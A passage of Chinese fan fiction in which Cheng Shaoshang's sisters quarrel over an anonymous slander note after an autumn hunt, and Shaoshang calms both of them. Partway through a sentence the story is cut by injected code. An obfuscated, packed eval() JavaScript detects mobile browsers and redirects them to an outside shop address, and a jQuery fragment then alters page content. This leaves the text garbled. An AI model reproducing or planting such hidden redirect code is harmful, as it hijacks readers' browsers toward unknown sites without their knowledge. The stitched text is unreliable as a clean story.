秋猎落幕,车马粼粼归返京城。曲陵侯府褪去了连日空寂,仆从各司其职,收拾着众人围场归来的行装,庭院里秋风扫过枝叶,簌簌声响,洗去了围场数日的猎帐风霜。
程少商回宫歇息片刻,便寻到了同住一院的程少绥。姐妹二人近日一同随府中长辈赴秋猎,历经围场风波,独处之时最是舒心。
少绥正坐在窗下整理针线笸箩,指尖捻着素色丝线,见少商缓步进来,当即抬眸笑道:“阿姊来了?围场奔波数日,可累坏了?”
程少商挨着她身侧坐下,眼底还带着几分未散的温润感慨:“累倒是无妨,只是此番秋猎,最让我记挂感念的,便是皇后娘娘。”
这话让少绥手上的针线顿了顿,她细细回想秋猎诸事,彼时围场变故频发,她满心都是替阿姊担忧焦灼,压根无暇顾及旁人,只得老实道:“我那时心里乱糟糟的,生怕那些女娘为难你,竟没太留意皇后娘娘的气度,只记得娘娘性子温和……”
“何止是温和。”程少商眸光柔和,语气里满是真切崇拜,“世人皆道中宫皇后温婉贤淑,此番我才算真切见识到。身为国母,却无半分盛气凌人,待人接物如此公允无私。”
她想起猎帐之中的种种细节,字字句句皆是感慨:“当时众女娘争执不休,是非纠缠不清,旁人或是偏听偏信,或是碍于世家情面含糊了事,唯有皇后,耐心听尽前因后果,不偏护权贵,不轻视微末,分得清对错,辨得清人心,温柔却有风骨,仁慈却有章法。”
说罢,少商垂眸浅笑,眼底藏着一丝无人知晓的艳羡与怅然:“若我的阿母,能有皇后这般温柔、这般公允,我这一生,便也无憾了。”
少绥听着阿姊这番肺腑之言,心中骤然通透。这位高高在上的中宫娘娘,竟能让素来清冷倔强的阿姊如此倾心敬佩。
少绥放下手中针线,认真颔首:“原来皇后娘娘这般好。我往日只觉皇家贵人皆是疏离威严,如今听阿姊说来,真正的尊贵,更在宽厚容人、处事公允。往后再见皇后娘娘,我必定诚心恭敬相待。”
一番温言絮语落尽,少商身心微倦,便含笑与少绥辞别,独自缓步归屋休憩。彼时晴光正好,暖日穿庭,融融金辉铺洒院落,少绥所居庭院风轻枝静,尘嚣尽敛,四下静谧安然,一派融融静好。
这时一阵细碎的脚步声自外廊传来,一名侍女垂首入内,双手奉上一张折叠整齐的素色笺纸,低声回话:“女公子,方才府外有人辗转送入这张笺帖,不知是何人所写,如今府中各处,皆在传抄此文。”
程少绥闻言,心中莫名一紧,当即伸手接过笺纸,急急展开。
雪白笺纸上,笔墨潦草,字字诛心,通篇皆是刻意捏造的闲言碎语。文中刻意歪曲秋猎玉坠一事的真相,咬定程少商心胸狭隘、心性阴私,因区区琐事记恨于人,刻意私闯郡主营帐,蓄意损毁贵重宝玉,还暗讽程少商粗鄙无礼、恃宠骄纵、毫无世家女娘的端庄气度。
寥寥数语,极尽抹黑诋毁之能事,句句都往败坏名节的刀刃上戳。
程少绥越看越怒,指尖死死攥紧笺纸,胸口怒火轰然炸开,方才闲谈的温润心境瞬间荡然无存。她本就性情赤诚刚烈,见旁人如此凭空造谣、肆意构陷自家阿姊,只觉气血翻涌,怒不可遏。
“荒唐!一派胡言!”
少绥狠狠攥着那张刺眼的笺纸,眉目染满戾气,声音都带着压抑的颤怒,“分明是王姈、楼缡二人蛮不讲理、刻意生事,百般刁难阿姊!如今倒好,她们躲在暗处作祟,写这些腌臜文字颠倒黑白,任由流言蜚语遍地传扬,妄图毁了阿姊名声!”
她一刻也忍不得,当即起身,匆忙拢了拢衣衫,随手将笺纸紧紧攥在掌心,便要朝外冲去,脚步急促决绝。
“我这就去找她们对质!京中世家贵女常聚的沁芳园,她们今日必定在!我便拿着这笺帖,当众拆穿她们的伪善面目,让所有人都看看,究竟是谁心胸狭隘、谁是小人作祟!”
她快步冲出院落,刚奔至府中二门,便与前来庭院请安、侍奉长辈的程姎撞了个正着。
程姎一眼便望见她满脸怒容、神色激愤,一身装束分明是要外出,瞧着便知是出了大事。她生性谨慎多虑,见状心头一紧,立刻快步上前,伸手拦住了少绥的去路。
“少绥妹妹,你这是要去往何处?”程姎语声轻柔,目光落在她手中的笺纸上,已然猜到几分,“可是为了近日流传的那些闲话?”
少绥怒火正盛,见程姎拦路,急声道:“姎姎阿姊,你快让开!这些流言皆是王姈、楼缡刻意捏造,污损阿姊清名!我今日定要去找她们当众对质,绝不能让阿姊平白受此冤屈!”
“万万不可!”程姎立刻轻轻摇头,语气恳切地规劝,“少绥妹妹,你莫要冲动。如今这些早已传遍京中,处处皆是流言蜚语。你此刻这般闯去争辩,非但洗不清少商妹妹的冤屈,反而会落人口实。”
她深知世家舆论的厉害,“外人只会说程家女娘沉不住气、性情泼辣,动辄寻衅滋事、纠缠不休。这般一来,非但不能澄清误会,反倒会越发坐实外界那些不实揣测,让旁人觉得流言属实,于少商阿姊的名声、于咱们程府的体面,皆是百害而无一利。”
这番求稳的规劝,落在少绥耳中,只觉得无比憋屈、寒心。
她一腔义愤被生生阻拦,怒火翻涌,当即抬眼看向程姎,语气带着几分激动与不解:“姎姎阿姊!难道我们受了这般无妄污蔑,就只能关起门来忍气吞声、装聋作哑吗?!”
她想起往日旧事,更是满心不甘,字字铿锵:“从前是阿姊不顾安危,挺身而出护我周全,如今阿姊被人构陷、名声受损,我身为亲姊妹,难道要缩在府中,任由旁人肆意诋毁吗?”
程姎被少绥激烈的语气逼得微微后退半步,指尖紧张地死死绞着衣襟,素来温顺柔和的眉眼泛红,眼底涌上浅浅的难堪与无奈。
她早已被世家礼教磨去了锋芒,如今听从大伯母教诲,万事优先考量家族体面、利弊得失,从不敢凭心意行事。纵使心中知晓少商无辜、少绥有理,却依旧固执地守着稳妥之道,不肯松口。
程姎垂着眸,声音微哑,依旧规劝:“妹妹,行事当分轻重、论时机。如今我们没有半分确凿证据,仅凭一张无名笺帖便前去对峙,只会徒惹纷争、结下仇怨,平白给侯府招来祸事。我们身为程府女娘,一言一行皆系家族声望,隐忍一时,方能避祸安身。”
“隐忍?”少绥心头郁气更盛,一时失了分寸,“你不是她的亲姊妹,自然说得轻巧!你只求自己安稳无虞,自然什么委屈都能忍!”
这句话如同一根细针,狠狠扎进程姎心底最敏感、最自卑的角落。
程姎身子骤然一颤,僵在原地。她微微垂首,长长的睫毛轻轻颤动,眼底的酸涩、难堪与委屈翻涌而上,却无从辩解,只能死死抿着唇,沉默不语,一副手足无措的模样。
秋风穿廊而过,卷起一地微凉,两人对峙僵持,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17926476|213544||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
气氛凝滞又紧绷。
而不远处的雕花廊柱之后,程少商静静立在阴影之中,将二人神态言语尽数看在眼里,未曾上前半步,亦未曾出声打断。
她看得透彻,少绥赤诚热烈、重情重义,信奉情义大于利弊,至亲受辱便理应挺身而出,从学不会隐忍退让,是最纯粹、最鲜活的赤子心性;而程姎的谨慎怯懦、步步求稳,从来不是天性冷漠、自私凉薄,是严苛的世家礼教,日复一日规训打磨出来的自保之道。
一个守情义本心,一个守世俗体面,两套截然不同的处世道理,没有绝对的对错,只是境遇不同、心性不同,终究难以相容。
待二人争执渐歇,程少商才缓步从廊后走出,素色裙袂拂过青砖地面,步履从容,神色恬淡,瞬间打破了紧绷的氛围。
她先看向满脸愤懑、依旧不服气的程少绥,语声温和却带着稳妥的定力:“少绥,莫要再闹了,回来。”
少绥见阿姊出面,满腔怒火瞬间散去大半,委屈与不甘涌上心头,当即快步上前,攥着笺纸急道:“阿姊!这些流言全是假的!分明是王姈她们作恶,凭什么要我们受着委屈不能辩驳!”
程少商抬手轻轻抚了抚她的肩头,安抚下她所有躁动的情绪,随即转头看向面色难堪的程姎:“姎姎阿姊,我知晓你的顾虑。”
她立于二人之间,公允从容,缓缓开口拆解这场纷争:“少绥护我心切,一腔义愤皆是真心,至亲受辱,想要对峙讨公道,本是人之常情,无可厚非。”
话音稍顿,她又看向少绥,耐心规劝:“可阿姊所言,亦是当下最实在的道理。如今流言漫天,我们手中无凭无据,你贸然前去当众争执,反倒会让外人借机抹黑程府、诋毁我们姊妹,得不偿失。”
少绥素来最听程少商的话,闻言攥着笺纸的手指微微松动,眼底的怒火渐渐褪去,只剩些许不甘。
程少商接过她手中皱巴巴的笺纸,指尖轻轻抚过上面刺眼的字迹,眸光沉静:“我知晓是谁在暗中作祟,也知晓她们的心思,不过是躲在暗处搬弄是非、妄图乱我心境、毁我名声罢了。”
她早有盘算,从容道:“无需急于一时争辩对峙。鲁莽对峙是逞一时之快,暗中求证才是长久之计。待到时机合适,真相大白之日,不必我们主动争辩,世人自有公断,作恶之人也必自食恶果。”
一番话条理清晰,既安抚了少绥的赤诚,也体谅了程姎的顾虑。
程姎闻言,悄悄抬眸看向少商,心中的难堪与酸涩渐渐散去,只剩几分愧疚。她知晓方才自己一味隐忍规劝,落在旁人眼中,难免显得冷漠自私,多谢少商通透,懂她身不由己的难处。
风波暂歇,人心却各有起伏。一场争执,终究没有酿成嫌隙,却让彼此心性的差异,愈发清晰。
而程姎经此一事,心中更是透彻了自己寄人篱下的窘迫处境。她深知自己身份尴尬,所思所虑皆为自保周全,所言规劝最易被曲解为冷漠凉薄、不顾亲情。往后府中再有纷争是非,她便愈发谨言慎行,不敢轻易开口规劝,只愿安分守己。
程少商立在秋风庭院之中,看着眼前两位性情、境遇截然不同的姊妹,心中亦是感慨万千。人间心性万般不同,皆由境遇造就,从无全然的对错好坏。
而手中这张薄薄的流言笺纸,看似一场寻常的闺阁闲话风波,实则暗流潜藏,那些躲在暗处的恶意,从未停歇。
她眼底掠过一抹浅淡的冷光,悄然将笺纸收入怀中。